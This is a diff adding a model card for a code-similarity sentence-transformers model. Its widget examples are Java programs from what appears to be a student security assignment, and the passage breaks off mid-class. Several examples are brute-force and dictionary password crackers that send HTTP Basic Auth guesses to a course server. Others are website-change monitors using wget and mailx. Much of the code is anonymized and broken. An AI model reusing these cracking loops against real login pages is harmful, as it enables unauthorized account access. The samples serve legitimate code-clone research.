diff --git "a/README.md" "b/README.md" new file mode 100644--- /dev/null +++ "b/README.md" @@ -0,0 +1,1146 @@ +--- +tags: +- sentence-transformers +- sentence-similarity +- feature-extraction +- generated_from_trainer +- dataset_size:16705 +- loss:SoftmaxLoss +base_model: microsoft/unixcoder-base-unimodal +widget: +- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\ + import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\ + \ URL url;\n private HttpURLConnection connection ;\n private int stopTime\ + \ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\ + \ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \ + \ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\ + \ }\n\n public static void main (String args[])\n {\n BruteForce bf\ + \ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\ + \ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\ + \ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\ + \ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\ + \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ + \ + i2));\n decision(s1);\n count++;\n\n \ + \ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\ + \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ + \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ + \ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ + \ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ + \ count++;\n\n s1 = (String.valueOf((char)(a[0] +\ + \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ + \ + i2));\n decision(s1);\n count++;\n\n \ + \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\ + \ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ + \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ + \ count++;\n }\n }\n }\n }\n \n public\ + \ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\ + \ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\ + \ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\ + \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ + \ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\ + \ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \ + \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \ + \ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\ + \ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\ + \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ + \ count++;\n }\n }\n }\n\n \n public void decision(String\ + \ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\ + \ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\ + );\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\ + \\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\ + \ Web site: \");\n displayContent(s1);\n System.out.println(\"\ + \\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\ + \\nNumber of attempts: \" + count);\n System.out.println();\n\n \ + \ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\ + \ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\ + http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\ + \n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\ + \" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\ + \ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\ + \ }\n return responseCode;\n }\n\n \n public void displayContent(String\ + \ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\ + \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\ + \ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\ + Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\ + \ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\ + \ {\n InputStreamReader reader = new InputStreamReader (stream);\n\ + \ bw = new BufferedReader (reader);\n String line;\n\n\ + \ while ((line = bw.readLine()) != null)\n {\n \ + \ System.out.println(line);\n }\n }\n }\n \ + \ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\ + \ }\n }\n}\n\n\n\n\n" + sentences: + - "\nimport java.io.*;\nimport java.net.Socket;\nimport java.util.*;\n\npublic class\ + \ Email\n{\n private String hello;\n private String mailFrom=\"\";\n \ + \ private String mailTo=\"\";\n private String mailData=\"\";\n \n\ + \ private String subject=\"\";\n private String content=\"\";\n private\ + \ String follows=\"\";\n private String changeContent=\"\";\n private\ + \ String stop=\"\";\n private String end=\"\";\n private String line=\"\ + \";\n private InputStream is;\n private BufferedReader bf;\n private\ + \ OutputStream os;\n private PrintWriter pw;\n public Email(Vector change)\ + \ throws Exception\n {\n hello= \"HELO mail.rmit.edu.\";\n mailFrom\ + \ = \"MAIL FROM: @cs.rmit.edu.\";\n mailTo = \"RCPT : @cs.rmit.edu.\";\n\ + \ mailData = \"DATA\";\n subject=\"Subject: Some changes occur\";\n\ + \ content=\" is some changes the : http://www.cs.rmit.edu./students/\";\n\ + \ follows=\"The changes as follows:\";\n for(int i=0;i 0) {\n System.exit(0);\n }\n }\n\ + \n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\ + \ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\ + \ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\ + \ if (retval > 0) {\n System.exit(0);\n }\n \ + \ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \ + \ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\ + \ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\ + \ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ + \ \n if (retval > 0) {\n System.exit(0);\n \ + \ }\n }\n }\n }\n\n } \n} \n\n" +- source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\ + public class WatchDog\n{\n\n \n public static void main(String args[])throws\ + \ Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n\ + \ {\n \n\n String s1[] = {\"/usr/local//tcsh\", \"-c\"\ + , \"mailx -s \\\"Part 2-Assignment2 \\\" < change.html\"};\n String\ + \ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\ + };\n String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ + \ predir\"};\n String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\ + \ postdir\"};\n String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ + \ postdir\"};\n String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\ + \ copy2 > diff.html\"};\n\n\n Process p = Runtime.getRuntime().exec(\"\ + mkdir predir\");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec(\"\ + mkdir postdir\");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec(\"\ + wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p1.waitFor();\n\ + \n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n\ + \ Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\ + \n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec(\"\ + wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p3.waitFor();\n\ + \n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n\ + \ Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\ + \n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n\ + \ DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\ + \ p4.waitFor();\n \n System.out.println(\"The\ + \ WatchDog - Returns 0 if change else 1\");\n System.out.println(\"\ + Value :\" + p4.exitValue());\n try\n {\n \ + \ while ((str = inp1.readLine()) != null)\n {\n \ + \ System.out.println(str);\n }\n }\n \ + \ catch (IOException e)\n {\n System.exit(0);\n \ + \ }\n\n }\n catch(FileNotFoundException e )\n \ + \ {\n e.printStackTrace();\n }\n\n BufferedReader\ + \ in = new BufferedReader(new FileReader(\"change.html\"));\n \n \ + \ if (in.readLine() != null)\n {\n\n try\n {\n\ + \ String str1;\n p5 = Runtime.getRuntime().exec(s1);\n \ + \ DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\ + \ p5.waitFor();\n try\n {\n while\ + \ ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n\ + \ }\n }\n catch (IOException e1)\n \ + \ {\n System.exit(0);\n }\n\n }\n \ + \ catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n\ + \ }\n\n }\n }\n }\n}\n\n" + sentences: + - "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\ + public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\ + \ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\ + ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\ + wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\ + \ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \ + \ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\ + \" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\ + \ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\ + wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\ + \ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\ + \ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\ + \ if (newin.readLine() != null){\n System.out.println(\"\ + Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \ + \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \ + \ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ + \ }\n\n }\n\n}" + - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\ + public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\ + \ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \ + \ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\ + \ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\ + \ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\ + \\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\ + \\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \ + \ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\ + \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\ + :\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \ + \ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ + \n while((line=bf.readLine())!=null)\n {\n flag=1;\n \ + \ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\ + The username is: \"+username+\" The password is: \"+passwd);\n break;\n\ + \ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\ + \ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\ + \ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\ + public static void main(String args[]) throws Exception\n{\n Dictionary ds =\ + \ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}" + - "import java.*;\nimport java.io.*;\npublic class C\n{\n public static void\ + \ main (String [] args){\n try{\n \n int m=0,n=0,w=0;\n \ + \ String file = \"passwd.\";\n char ch1='A',ch2='A',ch3='A';\n \ + \ for(int i = 0 ; i < 26; i++ )\n {\n for(w=0;w<2;w++)\n \ + \ {\n if (w==1)\n i+=32;\n for(int j = 0;\ + \ j< 26 ; j++)\n {\n for(n=0;n<2;n++)\n {\n \ + \ if(n==1)\n j+=32;\n for(int k = 0; k<26\ + \ ; k++)\n {\n for(m=0; m<2; m++)\n \ + \ {\n if(m==1)\n k+=32;\n \ + \ char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n \ + \ String str = new String(data);\n System.out.println(str);\n\ + \ FileWriter fr1 = new FileWriter(file,true);\n \ + \ BufferedWriter in1 = new BufferedWriter(fr1);\n in1.write(str);\n\ + \ in1.newLine();\n in1.print();\n \ + \ if (k>=31)\n k-=32;\n \ + \ }\n }\n if(j>=31)\n j=j-32;\n \ + \ }\n }\n if(i>=31)\n i-=32;\n \ + \ }\n }\n}\ncatch(IOException e)\n{\n System.out.println(\"try\"\ + );\n}\n}\n}\n" +- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\n\ + import java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\ + \npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n\ + \ private PrintWriter out2;\n private TextArea response;\n int status;\n\ + \ int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int\ + \ newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n \ + \ PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n\ + \ status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n\ + \ file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n\ + \ printW = new PrintWriter(fout);\n }\n catch (IOException\ + \ ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n \ + \ }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n \ + \ u = new URL(url);\n try\n {\n \n \ + \ uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n\ + \ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\ + \n String line;\n\n \n while ((line = in.readLine())\ + \ != null)\n {\n \n printW.println(line);\n\ + \n }\n }\n catch (Exception e)\n {\n \ + \ System.out.println(\"Error: \" + e);\n }\n }\n \ + \ catch (MalformedURLException e)\n {\n System.out.println(url\ + \ + \" is not a parseable URL\");\n }\n \n printW.print();\n\ + \n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\"\ + );\n }\n }\n\n String loadStream(InputStream in) throws IOException\n\ + \ {\n int ptr = 0;\n in = new BufferedInputStream(in);\n \ + \ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\ + \ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\ + \ mailFlag++;\n \n }\n return buffer.toString();\n\ + \ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\ + \ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \ + \ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\ + \ file.delete();\n String ;\n\n try\n {\n fout2\ + \ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\ + \ }\n catch (IOException ioe)\n {\n System.out.println(\"\ + IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \ + \ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\ + \ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \ + \ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\ + \n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\ + \ BufferedReader buf2;\n\n try\n {\n \ + \ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\ + \ BufferedReader(fRead2);\n String line2;\n int\ + \ i=0;\n\n line = new String(\" some changes the web as followed:\ + \ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\ + , 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \ + \ send(null);\n send(\"HELO cs.rmit.edu.\");\n \ + \ send(\"MAIL FROM: @.rmit.edu.\");\n \n \ + \ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \ + \ \n\n while( (line2 = buf2.readLine()) != null)\n \ + \ {\n \n line= new String(\"\"+line2+\"\\n\");\n \ + \ \n \n\n }\n \ + \ \n \n \n out2.print();\n \ + \ send(\".\");\n s.print();\n }\n \ + \ catch(FileNotFoundException e)\n {\n System.out.println(\"\ + File not found\");\n }\n catch(IOException ioe)\n \ + \ {\n System.out.println(\"IO Error \" + ioe);\n \ + \ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\ + \ \n System.err.print(loadStream(ps.getErrorStream()));\n \ + \ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\ + \ }\n }\n\n public void send(String s) throws IOException\n {\n\ + \ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \ + \ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\ + \t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}" + sentences: + - "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\ + {\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n private static String password;\n private static int length; \ + \ \n private static int t_counter; \n private static int f_counter;\ + \ \n \n private static int cases;\ + \ \n \n private static int respCode;\ + \ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\ + \ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \ + \ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \ + \ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\ + \ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\ + Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\ + \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\ + \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\ + \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\ + \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \ + \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\ + \ BufferedReader in = \n new BufferedReader (new InputStreamReader\ + \ (content));\n String line;\n while ((line = in.readLine()) !=\ + \ null) \n {\n pw.println(line);\n }\n } catch\ + \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\ + \ sw.toString();\n }\n \n class BruteForceAuthenticator extends\ + \ Authenticator \n {\n private String username = \"\";\n\n protected\ + \ PasswordAuthentication getPasswordAuthentication()\n {\n return\ + \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\ + \ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\ + \ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\ + \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \ + \ k=0;\n \n \n \n if(t_counter == 0)\n {\n\ + \ length = 1;\n cases = 0;\n f_counter = 0;\n\ + \ }\n if(t_counter == 2*n)\n {\n length = 2;\n\ + \ cases = 0;\n f_counter = 0;\n }\n if(t_counter\ + \ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\ + \ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\ + \n \n \n if(length == 1)\n {\n if(f_counter\ + \ == n)\n {\n cases++;\n f_counter = 0;\n\ + \ }\n i = f_counter;\n\n } else if(length == 2)\ + \ \n {\n if(f_counter == n*n)\n {\n \ + \ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\ + \ j = f_counter - i*n;\n\n } else if(length == 3) \n \ + \ {\n if(f_counter == n*n*n)\n {\n cases++;\n\ + \ f_counter = 0;\n }\n i = f_counter/(n*n);\n\ + \ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\ + \ }\n\n \n switch(cases)\n {\n case\ + \ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\ + \ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\ + \ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\ + \ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\ + \ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\ + \ = letters1.charAt(k);\n break;\n case 3:\n \ + \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ + \ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\ + \ case 4:\n c[0] = letters1.charAt(i);\n \ + \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ + \ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ c[1] = Character.toUpperCase(letters1.charAt(j));\n \ + \ c[2] = letters1.charAt(k);\n break;\n case 6:\n\ + \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ + \ c[2] = Character.toUpperCase(letters1.charAt(k));\n \ + \ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ + \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ + \ break;\n default:\n break;\n \ + \ }\n\n f_counter++;\n t_counter++;\n\n password = new\ + \ String(c);\n return c;\n }\n }\n}\n" + - "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\ + \ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String\ + \ hostname;\n private int port;\n private String filename;\n private Socket\ + \ s;\n private int n;\n private InputStream sin;\n private OutputStream\ + \ sout;\n private int dif;\n private String myPassword;\n private int status;\n\ + \ private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce\ + \ bf , int num, int myPort, String password)\n {\n \n hostname = new\ + \ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\ + \ myTime = 0;\n myPassword = password;\n filename = new String(\"\ + /SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\ + \ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\ + \ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\ + \ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \ + \ finish = 0;\n start = System.currentTimeMillis();\n try\n \ + \ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\ + \ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\ + \ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\ + \t return;\n }\n while(s.isConnected() == false)\n continue;\n\ + \ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\ + \ \n try\n {\n sin = s.getInputStream();\n }catch(\ + \ IOException e)\n {\n System.out.println(\"'t open stream\");\n\ + \ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\ + \ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\ + \ IOException e)\n {\n System.out.println(\"'t open stream\");\n\ + \ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\ + \ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\ + \ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\ + \ \n try\n {\n inputLine = fromServer.readLine();\n \ + \ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\ + );\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \ + \ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n\ + \ {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status\ + \ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\ + \ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\ + \t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\ + \ {\n fromServer.receive();\n }catch( IOException e)\n \ + \ {\n System.out.println(\"'t open stream\");\n }\n try\n\ + \ {\n s.connect();\n }catch( IOException e)\n {\n \ + \ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\ + \ }\n public getTime()\n {\n return myTime;\n }\n \n}\n" + - "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\ + \ static String password=\" \"; \n\n \n public static void main(String[]\ + \ args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t\ + \ System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\ + \t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\ + \t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\ + \ \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result);\ + \ \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String\ + \ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for\ + \ ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\ + \t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\ + for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\ + \t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\ + \t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\ + \t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\ + \ ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\ + \t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\ + \\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\ + \t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\ + \ userPassword=username+\":\"+password; \n\n \n\t\t String encoding =\ + \ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\ + \ conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\"\ + , \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\ + \t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\ + \ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\ + \t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"\ + The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\ + \ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t\ + }\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\ + \t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\ + \t\t \n\n\n\n \n \n\t } \n \n \n\t\ + } \n return \"Password could not found\"; \n\n }\n\n\n}" +- source_sentence: "package java.httputils;\n\nimport java.io.IOException;\nimport\ + \ java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class\ + \ RunnableBruteForce extends BruteForce implements Runnable\n{\n protected\ + \ int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public\ + \ RunnableBruteForce()\n {\n super();\n }\n\n \n public void\ + \ run()\n {\n process();\n }\n\n public static void main(String[]\ + \ args)\n {\n }\n \n public int getRangeEnd()\n {\n return\ + \ rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return\ + \ rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n \ + \ rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n\ + \ rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n\ + \ return stop;\n }\n\n \n public void setStop(boolean b)\n \ + \ {\n 